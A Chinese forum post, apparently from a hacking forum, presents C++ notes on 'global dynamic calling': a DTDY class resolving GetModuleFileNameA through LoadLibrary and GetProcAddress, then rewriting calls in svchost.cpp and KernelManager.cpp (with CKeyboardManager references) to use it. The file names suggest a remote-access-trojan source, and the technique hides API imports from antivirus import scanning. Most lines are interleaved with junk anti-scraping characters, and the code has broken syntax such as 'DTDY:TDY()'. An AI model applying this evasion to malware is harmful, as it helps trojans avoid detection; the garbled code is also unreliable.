返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
. u6 h' q* j" g3 n, Psvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
  @3 F8 e. L6 Y+ ^8 l1 f3 \----------------------------------------
* k5 M" `" t; M* p$ ZDTDY.h:! i  [- Y9 r7 w( b. c
# h" Z; F3 g( v# u; H" I: d
#if _MSC_VER>1000# A4 n; l, n/ [( I4 ^2 _7 m$ }, @
#pragma once* K  i& u8 z( h* O' A0 B0 R
#endif //_MSC_VER>1000
8 S: x, x% Y$ L* X5 y#include<windows.h>. v# \5 g9 H2 Q$ t8 x. R+ @' Q
- I, o6 I  C( s" Q. r* W
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);7 Y) u* j( f, z8 L
class DTDY
: Y- a6 a; e& R4 j9 l, U9 w{
7 }2 w0 u- J) m; d3 H& `$ J/ x! Z3 tpublic:) ]; X" w: N1 q  J# M' O7 I
DTDY();. I8 C( N* V; V/ g7 m$ r8 s
virtual ~DTDY();
6 {9 p$ Z) ^6 C& \' N( Jpublic:
; G! s) [; x7 q/ P% v! b  v& h1 i# zstatic pGetModuleFileNameA MyGetModuleFileName;
( u" I. a: t+ `3 }static BOOL FunInitiallization();  h3 q( z- A/ E/ x4 M
};" L8 z0 a! c0 s" ~9 \$ B
#endif
3 F% E- O$ d# B----------------------------------------
+ Y0 u$ N/ m9 O1 _9 O2 f( \% M2 Y; g
1 l# u+ n& o8 m5 qDTDY.cpp:
' k. n# t0 R- e; Z0 Y, h* X( C" g
1 a$ m8 q# a  N& G  A) H  J- G#include "DTDY.h"
( k. }8 F8 o0 m0 {pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
% ?6 Y! r) _' y" q; I. pDTDY:TDY(): R5 W: A" t, h& A
{
) v% |6 }8 r/ a, C! ?2 o}
. C2 {! l, g; ?4 u: {( X  p; y! ]DTDY::~DTDY()
4 a; }% U+ M4 \2 Q" F* B5 P; a{
+ F' ^5 ^  V7 J4 q' S}, y/ m; ]" m3 g2 W2 r4 y6 v/ t
BOOL DTDY::FunInitiallization()4 G' N' W9 \! k+ u4 w
{
4 _, |& C( z8 G! \( Q6 oHMODULE hModule=LoadLibrary("kernel32.dll");
; i+ Y* k% u( n1 HMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
( S1 f6 P8 s3 iif(!MyGetModuleFileName=) return FALSE;
' g/ [* f* W9 G* `% w5 h) n6 w  l  ?0 d& c
return TRUE;
. g, |( e2 M7 {, X) G4 c}1 A2 G1 V/ o8 z" Z0 {
----------------------------------------
. u2 m% o, r- E) Y2 hsvchost.cpp:% ^  A" K+ {# W' \% q. v
& Q/ J( A: E& `# @
#include "DTDY.h"
% P9 N7 I4 d  B4 r9 T8 {+ f7 M8 S3 N
  ?, l$ C. {% S' F& `BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)1 ?# M* w* i2 b; |4 Q  ?0 |+ B! n
{
: M9 `' e! D) B9 |% pswitch(ul_reason_for_call)
# z7 z- W2 L7 V4 c( w1 v* v{
3 \+ g4 V. [8 u, T# g2 Ycase DLL_PROCESS_ATTACH:
" s) s/ f: K  p+ x6 }if(!DTDY::FunInitiallization()) return FALSE;" T* }) v6 E2 D6 N! J0 r

# H% p2 w) u6 l" D, v& dbreak;9 ]% X) l, h) [. d8 Z) u9 C# \4 S- e
}
& F( V& X0 Q: x! E' @}
/ W7 `% @6 u- X2 }/ Y0 C4 r0 h! u& ~) C5 k- S
% y0 f: u1 K+ G; n$ C
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
$ b- O5 ^) {& w改写为
5 p( f+ ~/ \+ Q' w5 w1 CDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
! y4 U4 c( E" R) ~$ b8 ]+ j----------------------------------------  S. ?4 j: B' l  f- y
KernelManager.cpp:0 `$ ]4 J- J( t3 E* a

9 `  u+ B. H9 y#include "../DTDY.h"$ F" n7 {* h8 q: j9 l  T
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));0 u  ?, P/ i( Q, K* a- g
改写为
8 \2 X. O4 g4 L3 o5 ?2 L# GDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
( s+ s: |7 l& h) a/ Z8 a----------------------------------------

返回列表